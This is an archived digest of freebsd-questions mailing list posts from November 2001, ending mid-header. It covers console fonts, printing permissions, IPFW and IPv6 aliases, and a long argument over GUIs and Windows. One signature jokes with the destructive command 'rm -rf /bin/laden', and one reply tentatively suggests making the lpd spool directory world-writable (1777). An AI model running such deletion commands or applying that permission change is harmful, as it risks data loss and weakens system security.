MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, David Loszewski wrote: > Is there a way to change the text size of the console text. On my 19" > monitor the text is huge when I'm out of X-Windows and using console > instead. Check out vidcontrol(1); it allows you to change the video mode of the console, among other things. - Michael Imamura mimamura@resnet.gatech.edu LUG@GT Web Guy http://www.lugatgt.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:51: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 1BB5137B416 for ; Tue, 20 Nov 2001 12:51:05 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKKp2C82233; Tue, 20 Nov 2001 21:51:03 +0100 (CET) Message-ID: <00c801c17205$1175f2b0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> <008f01c171fb$a5108da0$0a00000a@atkielski.com> <20011120201935.GB80963@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 21:50:57 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > I refute your assumption that a system that > doesn't run Windows applications is useless. If you can get by without any Windows applications, your refutation is valid. But most people need to run at least a few Windows applications, unless they have Macs (which have a large enough choice of applications to avoid Windows entirely and still get lots of things done). > There you go again. > Window Managers Do Not Run Applications. > All you need is an X server to run Netscape. Maybe I'm confused. How do you run an X server or an application within it without a window manager? > You said that as long as you have some idea > with some Unix like system then the concepts > map across. Correct. > Generally, that is indeed true, but you don't > seem to have much experience of Unix like systems, > let alone FreeBSD. It's true with all of them, rest assured. In fact, when you look at the source code of multiple operating systems, it's surprising how often you see the same algorithms over and over. > You have only tried one, yet you condemn them all. I've used lots of GUIs on lots of operating systems. They all have similar drawbacks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:55:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mtiwmhc21.worldnet.att.net (mtiwmhc21.worldnet.att.net [204.127.131.46]) by hub.freebsd.org (Postfix) with ESMTP id ED01337B416 for ; Tue, 20 Nov 2001 12:55:38 -0800 (PST) Received: from columbia ([12.93.210.208]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20011120205537.SONB29594.mtiwmhc21.worldnet.att.net@columbia>; Tue, 20 Nov 2001 20:55:37 +0000 From: "Andrew C. Hornback" To: "Toomas Aas" , Subject: Bugfixes, Support, etc. (was: RE: home pc use) Date: Tue, 20 Nov 2001 15:51:24 -0500 Message-ID: <004601c17205$1dc2e780$6600000a@ach.domain> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal In-Reply-To: <200111201428.fAKESdD28470@lv.raad.tartu.ee> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Toomas Aas > Sent: Tuesday, November 20, 2001 9:28 AM > To: Anthony Atkielski; questions@FreeBSD.ORG > Subject: Re: home pc use > > On 20 Nov 01 at 11:19 you wrote: > > > Robert writes: > > > > > Perhaps this was due to your buggy VIA > > > Southbridge, mentioned in another > > > thread, IIRC? > > > > That same "buggy" hardware runs Windows flawlessly. > > VIA has released drivers for Windows that work around the hardware > bugs. That is why this buggy (sans quotes) hardware runs Windows > flawlessly. > > As they (VIA) don't want to release information of what is actually > wrong with the 686B southbridge, the people who make other > operating systems can't do much to write similar workarounds for > these systems. > > My information is some weeks old, maybe things have changed in > the meantime. Toomas, Greg Lehey told Anthony last week that he needed to speak with Soren about a fix for the ATA driver to make his VIA chipset work properly with FreeBSD. However, since then, Anthony has continued to discredit the idea that it could possibly be a hardware problem, and has instead placed the blame fully on the shoulders of FreeBSD. At this point, I believe it clear that Anthony does not want to correct the problem, but use it as a point of contention to continually bash FreeBSD with. I'm sorry, but I do not believe it is the fault of The FreeBSD Project (Core group or anyone else) that he has not seen fit to research the fix and apply it so that FreeBSD will work with his bug-laden chipset. From what I've seen, the Core group does not have every iteration of every piece of hardware in existance to test FreeBSD on. If I could remedy that situation, I would in a heart beat. Because they don't have EVERY knick-knack and geek-gaw in existance, there is no way to test the software for every possible situation. Thus, fixes are produced along the way (and I appreciate how hard the guys doing the fixes work, Warner Losh is one of the hardest working folks that I know trying to keep up on all of the various laptops out there with non-standard hardware implementations). When a user finds a piece of hardware that does not work properly under FreeBSD, they have to make one of three choices. 1) Either live with the problems, 2) Research the problem, see if a fix has been created, and apply the fix or 3) Find another OS that supports your hardware better. If I'm wrong, would someone please correct me. If you're not going to follow the information that you've been given by the experts on the list (Greg, Kris, and Crist this means you), then you shouldn't complain about having problems. Again, I'd like to reiterate that I appreciate the work that everyone is doing on The FreeBSD Project here. It's a lot of hard work, and having to deal with folks complaining about problems that don't even pursue solutions, that's gotta grate on your nerves. Thanks guys, and keep up the good work. --- Andy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13: 1:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by hub.freebsd.org (Postfix) with ESMTP id EEF5937B405 for ; Tue, 20 Nov 2001 13:01:11 -0800 (PST) Received: from trine (213-187-161-49.dd.nextgentel.com [213.187.161.49]) by mail.broadpark.no (Postfix) with ESMTP id A61297E66; Tue, 20 Nov 2001 22:01:05 +0100 (MET) From: "Kjell" To: Michael Imamura Date: Tue, 20 Nov 2001 21:07:14 -0000 MIME-Version: 1.0 Content-type: text/enriched; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: changing console text size? Reply-To: kjell@la3sg.net Cc: freebsd-questions@FreeBSD.ORG Message-ID: <3BFAC602.8037.3043EDC@localhost> References: <001801c171ef$02d68460$b5e4b184@sickness> In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Date sent: Tue, 20 Nov 2001 15:46:51 -0500 (EST) From: Michael Imamura < To: David Loszewski < Copies to: freebsd-questions@FreeBSD.ORG Subject: Re: changing console text size? 7F00,0000,0000> > On Tue, 20 Nov 2001, David Loszewski wrote: > > Is there a way to change the text size of the console text. On my 19" > > monitor the text is huge when I'm out of X-Windows and using console > > instead. > > Check out vidcontrol(1); it allows you to change the video mode of the > console, among other things. > 1)In the GENERIC config file for the kernel, at about line 130 immediately following the line "device vga0 at isa?", add the 0100,0100,0100Times New Romanfollowing line to add support for VESA video modes. leftmonospaceoptions VESA Times New Roman Arialand recompile kernel. 2) Add the following to your rc.conf file: 0100,0100,0100Courier New### System console options ### font8x8="/usr/share/syscons/fonts/iso02-8x8.fnt" #load fonts allscreens_flags="132x43 -c blink" #blinking cursor ## to switch midstream: vidcontrol 80x25 or 132x43 gl from Kjell (LA3SG) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13: 4: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id E84FE37B405 for ; Tue, 20 Nov 2001 13:04:03 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 8811966C39; Tue, 20 Nov 2001 13:04:03 -0800 (PST) Date: Tue, 20 Nov 2001 13:04:03 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: Kris Kennaway , Steve Brown , Chip , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120130403.A5492@xor.obsecurity.org> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> <20011120050329.A971@xor.obsecurity.org> <00b101c171cc$d8ed1e10$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="zhXaljGHf11kAtnf" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <00b101c171cc$d8ed1e10$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 03:08:28PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --zhXaljGHf11kAtnf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 20, 2001 at 03:08:28PM +0100, Anthony Atkielski wrote: > Kris writes: >=20 > > I still don't know what that means, since > > obviously you're drawing some distinction > > between standard unix window managers like > > windowmaker, fvwm, sawfish, etc, and Windows. >=20 > Yes: Windows runs Windows applications (all 100,000 of them), and UNIX w= indow > managers do not. So, you're not talking about the GUI at all, but rather the set of applications that run on the OS? That's quite a different thing. Kris --zhXaljGHf11kAtnf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+sVCWry0BWjoQKURApcWAJ92tQWbwMF3fR5tXS2ktSFD/FKOTwCfTYFD mT+IqkkIidLKNdHzxv5nlTY= =dYp6 -----END PGP SIGNATURE----- --zhXaljGHf11kAtnf-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:17:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id D00E337BAE3 for ; Tue, 20 Nov 2001 13:15:50 -0800 (PST) Received: (qmail 53804 invoked from network); 20 Nov 2001 21:15:49 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 20 Nov 2001 21:15:49 -0000 Date: Tue, 20 Nov 2001 16:15:49 -0500 (EST) From: jaime@snowmoon.com To: what ever Cc: freebsd-questions@freebsd.org Subject: Re: lpd: only root can print In-Reply-To: <20011120211245.A17671@sdf.freeshell.org> Message-ID: <20011120161504.R53181-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, what ever wrote: > ls -lF /var/spool/lpd > > drwx------ 2 daemon daemon 512 Dec 7 2000 lp/ > > I chmod'd this to 770, and still have the problem. > > And... > > only my username is affected. New users and root can use lpr fine, > just not my normal username...I'm really kind of stymied here... I don't know why other users could print, but I *think* that it needs to be set 1777. Can someone else verify this for me? Jaime To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:18: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id CCAF437B6D3 for ; Tue, 20 Nov 2001 13:10:47 -0800 (PST) Received: (qmail 53775 invoked from network); 20 Nov 2001 21:09:56 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 20 Nov 2001 21:09:56 -0000 Date: Tue, 20 Nov 2001 16:09:56 -0500 (EST) From: Jaime To: Eric Cc: freebsd-questions@freebsd.org Subject: Re: pdf print server In-Reply-To: <200111201842.fAKIgW935286@syndicate.tek-shop.com> Message-ID: <20011120160724.C53181-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Eric wrote: > Anybody know of a simple command line program that can take a pdf and print > it?? Off the top of my head, no. But I searched http://www.freebsd.org/ports with the string "pdf" and the port htmltopdf looks promising for your needs. So do several programming languages, such as PHP and some Perl libraries. Jaime -- "[A]s we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of ours; and this we should do freely and generously." -- Ben Franklin, http://earlyamerica.com/lives/franklin/chapt10/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:18:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id 6F4B337B8FE for ; Tue, 20 Nov 2001 13:11:36 -0800 (PST) Received: (qmail 53750 invoked from network); 20 Nov 2001 21:03:53 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 20 Nov 2001 21:03:53 -0000 Date: Tue, 20 Nov 2001 16:03:53 -0500 (EST) From: Jaime To: what ever Cc: freebsd-questions@freebsd.org Subject: Re: lpd: only root can print In-Reply-To: <20011120150822.A23449@sdf.freeshell.org> Message-ID: <20011120160242.E53181-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, what ever wrote: > I did a binary upgrade from 4.2-RELEASE to 4.4 via /stand/sysinstall > the other day, and now, only root can print. Are the privileges on the spool director correct? Look at ls -alRF /var/spool/lpd and see if it looks correct. Jaime -- "[A]s we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of ours; and this we should do freely and generously." -- Ben Franklin, http://earlyamerica.com/lives/franklin/chapt10/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:18:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 6EFB237B8BC for ; Tue, 20 Nov 2001 13:11:16 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 7DB0D66B10; Tue, 20 Nov 2001 13:10:20 -0800 (PST) Date: Tue, 20 Nov 2001 13:10:20 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: setantae , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120131020.D5492@xor.obsecurity.org> References: <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> <20011120050329.A971@xor.obsecurity.org> <00b101c171cc$d8ed1e10$0a00000a@atkielski.com> <20011120141109.GA77819@rhadamanth> <004201c171d1$14bbf390$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ABTtc+pdwF7KHXCz" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <004201c171d1$14bbf390$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 03:38:47PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --ABTtc+pdwF7KHXCz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 20, 2001 at 03:38:47PM +0100, Anthony Atkielski wrote: > Ceri writes: >=20 > > Window managers don't applications at all. >=20 > Windows is an integrated OS/window manager environment. Okay, but neither of those have anything to do with the applications which run on the integrated OS/window manager environment. I'm getting sick of this thread..you keep changing your terms of reference. Kris --ABTtc+pdwF7KHXCz Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+sa7Wry0BWjoQKURAs45AKD5AAC9ZH0LUQbawuE0Zuco9FdqvgCaAycJ fAA9gnjaYeealAW5ostv3tw= =/jvd -----END PGP SIGNATURE----- --ABTtc+pdwF7KHXCz-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:19:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sdf.lonestar.org (sdf.lonestar.org [209.221.165.117]) by hub.freebsd.org (Postfix) with ESMTP id 544C237B8A4 for ; Tue, 20 Nov 2001 13:14:04 -0800 (PST) Received: (from thursday@localhost) by sdf.lonestar.org (8.11.6/8.11.6) id fAKLCjf02849; Tue, 20 Nov 2001 21:12:45 GMT Date: Tue, 20 Nov 2001 21:12:45 +0000 From: what ever To: Jaime Cc: what ever , freebsd-questions@freebsd.org Subject: Re: lpd: only root can print Message-ID: <20011120211245.A17671@sdf.freeshell.org> References: <20011120150822.A23449@sdf.freeshell.org> <20011120160242.E53181-100000@malkav.snowmoon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120160242.E53181-100000@malkav.snowmoon.com>; from jaime@snowmoon.com on Tue, Nov 20, 2001 at 04:03:53PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ls -lF /var/spool/lpd drwx------ 2 daemon daemon 512 Dec 7 2000 lp/ I chmod'd this to 770, and still have the problem. And... only my username is affected. New users and root can use lpr fine, just not my normal username...I'm really kind of stymied here... Thanks, On Tue, Nov 20, 2001 at 04:03:53PM -0500, Jaime wrote: > On Tue, 20 Nov 2001, what ever wrote: > > I did a binary upgrade from 4.2-RELEASE to 4.4 via /stand/sysinstall > > the other day, and now, only root can print. > > Are the privileges on the spool director correct? Look at ls > -alRF /var/spool/lpd and see if it looks correct. > > Jaime > > -- > "[A]s we enjoy great advantages from the inventions of others, we should > be glad of an opportunity to serve others by any invention of ours; and > this we should do freely and generously." -- Ben Franklin, > http://earlyamerica.com/lives/franklin/chapt10/index.html > -- thursday@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:19:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from solomon.io.com (solomon.io.com [199.170.88.24]) by hub.freebsd.org (Postfix) with ESMTP id 4F64237B795 for ; Tue, 20 Nov 2001 13:18:39 -0800 (PST) Received: from aus-as2-049.io.com (aus-as2-049.io.com [199.170.89.49]) by solomon.io.com (8.11.2/8.11.2) with ESMTP id fAKLIWx12561 for ; Tue, 20 Nov 2001 15:18:33 -0600 Date: Tue, 20 Nov 2001 15:20:14 -0600 (CST) From: Lars Eighner X-X-Sender: lars@dumpster.io.com Reply-To: Lars Eighner To: questions@FreeBSD.ORG Subject: Re: home pc use In-Reply-To: <20011120050329.A971@xor.obsecurity.org> Message-ID: <20011120150948.H23357-100000@dumpster.io.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Basically, all GUIs suck. I came to FreeBSD to get out of the 640K DOS box. I just wish I had the option of using graphics mode more often when I did want to deal with graphics. I have hacked svgalib and zgv to work from the command line. I wish I could run more applications from the command line like the paint, games, and graphics editors available for DOS. Home PCs do not need the level of security that servers need because the machines are physically secure and no one is logging in from off site. And most of the objections to command line graphics are, as I understand it, the problems of letting users grab the console. Yet, X does exactly that. So what is the problem with command-line graphics? -- Lars Eighner eighner@io.com http://www.io.com/~eighner/index.html 700 Hearn #101 Austin TX 78703 (512)474-1920 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:20:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201]) by hub.freebsd.org (Postfix) with ESMTP id D8BD837B9AB for ; Tue, 20 Nov 2001 13:19:06 -0800 (PST) Received: from sheldonh (helo=axl.seasidesoftware.co.za) by axl.seasidesoftware.co.za with local-esmtp (Exim 3.33 #1) id 166IJO-0001gG-00; Tue, 20 Nov 2001 23:20:10 +0200 From: Sheldon Hearn To: Dan Nelson Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Specififying IPFW unpriveleged port ranges with a mask In-reply-to: Your message of "Tue, 20 Nov 2001 13:30:21 CST." <20011120193021.GE13254@dan.emsphone.com> Date: Tue, 20 Nov 2001 23:20:10 +0200 Message-ID: <6463.1006291210@axl.seasidesoftware.co.za> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001 13:30:21 CST, Dan Nelson wrote: > How about just use range syntax: 1024-65535? I'm not sure why someone > would want to use port:mask notation. Because of the IP_FW_MAX_PORTS limitation? See ipfw(8). Have I misunderstood the page? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:21:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from LKLDDC01.GARGANTUAN.COM (145bus8.tampabay.rr.com [24.94.145.8]) by hub.freebsd.org (Postfix) with ESMTP id 9288F37B9B1 for ; Tue, 20 Nov 2001 13:19:07 -0800 (PST) Received: by LKLDDC01.GARGANTUAN.COM with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Nov 2001 16:19:05 -0500 Message-ID: <1DA741CA6767A144BAA4F10012536C27A910@LKLDDC01.GARGANTUAN.COM> From: "Oliver, Michael W." To: freebsd-questions@FreeBSD.ORG Subject: Interface alias question... Date: Tue, 20 Nov 2001 16:19:04 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Folks, I have the following configuration on my server (4.4-STABLE): tl0: flags=8843 mtu 1500 inet 10.0.0.8 netmask 0xffff0000 broadcast 10.0.255.255 inet6 fe80::280:5fff:fe9f:4047%tl0 prefixlen 64 scopeid 0x1 ether 00:80:5f:9f:40:47 media: 100baseTX status: active supported media: 10base5/AUI 10base2/BNC 10baseT/UTP none autoselect 100baseTX 100baseTX 10baseT/UTP 10baseT/UTP 100baseTX tl1: flags=8843 mtu 1500 inet6 3ffe:c00:8034::a00:8 prefixlen 48 inet6 fe80::280:5fff:fefe:eeaa%tl1 prefixlen 64 scopeid 0x2 inet6 3ffe:c00:8034::80:1 prefixlen 48 inet6 3ffe:c00:8034::53:1 prefixlen 48 inet6 3ffe:c00:8034::25:1 prefixlen 48 ether 00:80:5f:fe:ee:aa media: 10baseT/UTP status: active supported media: 10base5/AUI 10base2/BNC 10baseT/UTP none autoselect 100baseTX 100baseTX 10baseT/UTP 10baseT/UTP 100baseTX As you can see, I have a few IPv6 aliases on my tl1 interface. Here come the questions... (1) I cannot ping6 those aliases from other devices on my LAN, although I can ping6 those aliases from the local machine. I also cannot ping6 other hosts on my LAN from this machine, sourcing the ping6 from an alias address. (2) I cannot connect to IPv6 virtual servers (defined in Apache's httpd.conf using 3ffe:c00:8034::80:1) from other machines on my LAN, although I can from the local machine (using lynx). Here is a snippet from the httpd.conf: DocumentRoot /usr/local/www/data There are other virtual hosts, but their presence doesn't come to bear on this situation. This works from the local machine, but not from any other machine on the LAN. If more information is needed, I will happily provide. Anyone want to enlighten me? Thanks in advance for the help! --------------- |* * * *|~~~~~~~| Michael Oliver, CCNP | * * * |~~~~~~~| |* * * *|~~~~~~~| oliver.michael@gargantuan.com |~~~~~~~~~~~~~~~| |~~~~~~~~~~~~~~~| http://michael.gargantuan.com/ |~~~~~~~~~~~~~~~| |~~~~~~~~~~~~~~~| rm -rf /bin/laden --------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:21:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id EA9F737B758 for ; Tue, 20 Nov 2001 13:20:39 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 99482BD51; Tue, 20 Nov 2001 13:20:39 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA28282; Tue, 20 Nov 2001 13:20:39 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAKLIji74184; Tue, 20 Nov 2001 13:18:45 -0800 (PST) (envelope-from swear@blarg.net) To: Joe.Warner@smed.com Cc: FreeBSD-Questions@FreeBSD.ORG Subject: Re: /usr/ports/shells/ksh93 References: From: swear@blarg.net (Gary W. Swearingen) Date: 20 Nov 2001 13:18:44 -0800 In-Reply-To: Message-ID: Lines: 4 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Obviously, this port is outdated. Maybe try addressing this one to freebsd-ports or if you get desperate, find the port maintainer listed in the port's Makefile. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:23:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id 5146337B416 for ; Tue, 20 Nov 2001 13:23:17 -0800 (PST) Received: from [195.20.224.220] (helo=mrvdom04.kundenserver.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 166IML-0007t6-00; Tue, 20 Nov 2001 22:23:13 +0100 Received: from pd90172e5.dip.t-dialin.net ([217.1.114.229]) by mrvdom04.kundenserver.de with esmtp (Exim 2.12 #2) id 166IML-0006eL-00; Tue, 20 Nov 2001 22:23:13 +0100 Date: Tue, 20 Nov 2001 20:21:33 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Anthony Atkielski Cc: setantae , Subject: Re: home pc use In-Reply-To: <008f01c171fb$a5108da0$0a00000a@atkielski.com> Message-ID: <20011120200954.G46734-100000@big> MIME-Version: 1.0 Content-Type: 